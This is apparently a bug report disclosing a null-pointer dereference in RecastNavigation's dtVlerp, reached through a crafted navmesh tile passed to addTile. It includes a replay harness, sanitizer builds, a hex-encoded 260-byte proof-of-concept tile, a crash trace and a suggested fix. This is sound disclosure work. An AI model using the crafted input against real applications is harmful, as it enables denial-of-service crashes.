[Bug]dtVlerp null-pointer dereference: invalid header yields a null detail-vertex pointer that is then dereferenced (CWE-476)
Summary
dtVlerp (Detour/Include/DetourCommon.h:119) dereferences its input vertices unconditionally. When addTile parses a crafted tile, the detail-vertex pointer becomes null and the query chain findNearestPolyInTile → closestPointOnPoly → closestPointOnDetailEdges reaches dtVlerp with that null pointer. ASan reports a SEGV at address 0x0 (READ); UBSan reports load of null pointer of type const float``. 9 crash samples share this root cause.
- Affected versions: RecastNavigation master
9f4ce64458dfae86e1239c525ddc219c4e9e06f1(all releases to date) - Severity: High
- CWE: CWE-476 (NULL Pointer Dereference)
Detail
Affected code
static inline void dtVlerp(float* out, const float* a, const float* b, float t)
{
out[0] = a[0] + (b[0] - a[0]) * t; /* line 119: READ — a or b is NULL for crafted tiles */
out[1] = a[1] + (b[1] - a[1]) * t;
out[2] = a[2] + (b[2] - a[2]) * t;
}Reached via closestPointOnDetailEdges (:679) ← closestPointOnPoly (:763) ← findNearestPolyInTile (:788).
Root cause: addTile computes the detail-mesh pointer from non-validated header count fields. For a crafted tile the resulting pointer (or a detail vertex it derives) is null or past the buffer; closestPointOnPoly → closestPointOnDetailEdges passes it to dtVlerp, which dereferences it immediately (reading address zero → SEGV; UBSan: load of null pointer).
Build the reproducer
- Clone RecastNavigation and check out the affected commit:
git clone https://github.com/recastnavigation/recastnavigation.git
cd recastnavigation
git checkout 9f4ce64458dfae86e1239c525ddc219c4e9e06f1- Save this standalone replay driver as
dbg_addtile.cpp(calls the publicdtNavMesh::addTileAPI on every file argument):
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <vector>
#include "DetourNavMesh.h"
int main(int argc, char** argv) {
for (int i = 1; i < argc; ++i) {
FILE* f = fopen(argv[i], "rb");
if (!f) return 2;
fseek(f, 0, SEEK_END); long n = ftell(f); rewind(f);
std::vector<unsigned char> buf((size_t)n);
fread(buf.data(), 1, (size_t)n, f);
fclose(f);
dtNavMesh mesh;
dtNavMeshParams params;
memset(¶ms, 0, sizeof(params));
params.tileWidth = 1.0f; params.tileHeight = 1.0f;
params.maxTiles = 8; params.maxPolys = 64;
dtStatus is = mesh.init(¶ms);
printf("=== %s (%ld B) init=%08x ", argv[i], n, is);
unsigned char* b = (unsigned char*)malloc(n);
memcpy(b, buf.data(), n);
dtTileRef result = 0;
dtStatus st = mesh.addTile(b, (int)n, 0, 0, &result);
printf("addTile=%08x result=%08x\n", st, result);
free(b);
}
return 0;
}- Compile with ASan + UBSan (
dbg_addtile):
clang++ -std=c++11 -fno-rtti -fno-exceptions -fsanitize=address,undefined -g \
-I Detour/Include dbg_addtile.cpp \
Detour/Source/DetourAlloc.cpp Detour/Source/DetourAssert.cpp \
Detour/Source/DetourCommon.cpp Detour/Source/DetourNavMesh.cpp \
Detour/Source/DetourNavMeshBuilder.cpp Detour/Source/DetourNavMeshQuery.cpp \
Detour/Source/DetourNode.cpp -o dbg_addtileFor a pure-UBSan report of the UB findings, build a second binary without ASan and with the trap flags:
clang++ -std=c++11 -fno-rtti -fno-exceptions -fsanitize=undefined -fno-sanitize-recover=all -g \
-I Detour/Include dbg_addtile.cpp \
Detour/Source/DetourAlloc.cpp Detour/Source/DetourAssert.cpp \
Detour/Source/DetourCommon.cpp Detour/Source/DetourNavMesh.cpp \
Detour/Source/DetourNavMeshBuilder.cpp Detour/Source/DetourNode.cpp \
-o dbg_addtile_ubonlyPOC (tested on the unmodified source)
Save the 260-byte POC:
python3 -c "open('poc.bin','wb').write(bytes.fromhex('56414e440700000000000000000000000000000000000000010000000300000001000000010000000000000001000000020000000100000001000000000000409a99193f6666663f0000000000000000000000000000f0410000f0410000f0410000a0400000000000000400000000000000803f00000000000000000000000000000000000080cc00000000000001000200ffffffffffff0000000000000000000000000100030000000000000000000000000000000000000000000001000000000200000000000000ffffffffffff000000000000000000000000000000ff00ffffffcdcccc3d00000000cdcccc3dcdcc4c3e00000000cdcc4c3e0000803f00000000'))"Run:
./dbg_addtile poc.binTrigger result
Verified on the unmodified source (AddressSanitizer):
AddressSanitizer:DEADLYSIGNAL
=================================================================
==3112179==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x564cbb5c968d bp 0x7fffce0708d0 sp 0x7fffce0707f0 T0)
==3112179==The signal is caused by a READ memory access.
==3112179==Hint: address points to the zero page.
#0 0x564cbb5c968d in dtVlerp(float*, float const*, float const*, float) .../Detour/Include/DetourCommon.h:119:12
#1 0x564cbb5bea34 in (anonymous namespace)::closestPointOnDetailEdges(dtMeshTile const*, dtPoly const*, float const*, float*, bool) .../Detour/Source/DetourNavMesh.cpp:679:2
#2 0x564cbb5bf125 in dtNavMesh::closestPointOnPoly(unsigned int, float const*, float*, bool*) const .../Detour/Source/DetourNavMesh.cpp:763:2
#3 0x564cbb5bb71d in dtNavMesh::findNearestPolyInTile(dtMeshTile const*, float const*, float const*, float*) const .../Detour/Source/DetourNavMesh.cpp:788:3
SUMMARY: AddressSanitizer: SEGV .../Detour/Include/DetourCommon.h:119:12 in dtVlerp(float*, float const*, float const*, float)
(UBSAN 变体:runtime error: load of null pointer of type 'const float')- Replay exit code:
1(abort/trap) - Deterministic: yes — 9 crash sample(s) (id:000012, id:000022, id:000025, id:000027, id:000030, ...) all reproduce the same root cause
Suggested fix
Fix the root cause in addTile (detail-mesh pointer bounded), and add a defensive null check in closestPointOnDetailEdges/closestPointOnPoly:
if (detailVerts == 0)
return false;Source: recastnavigation/recastnavigation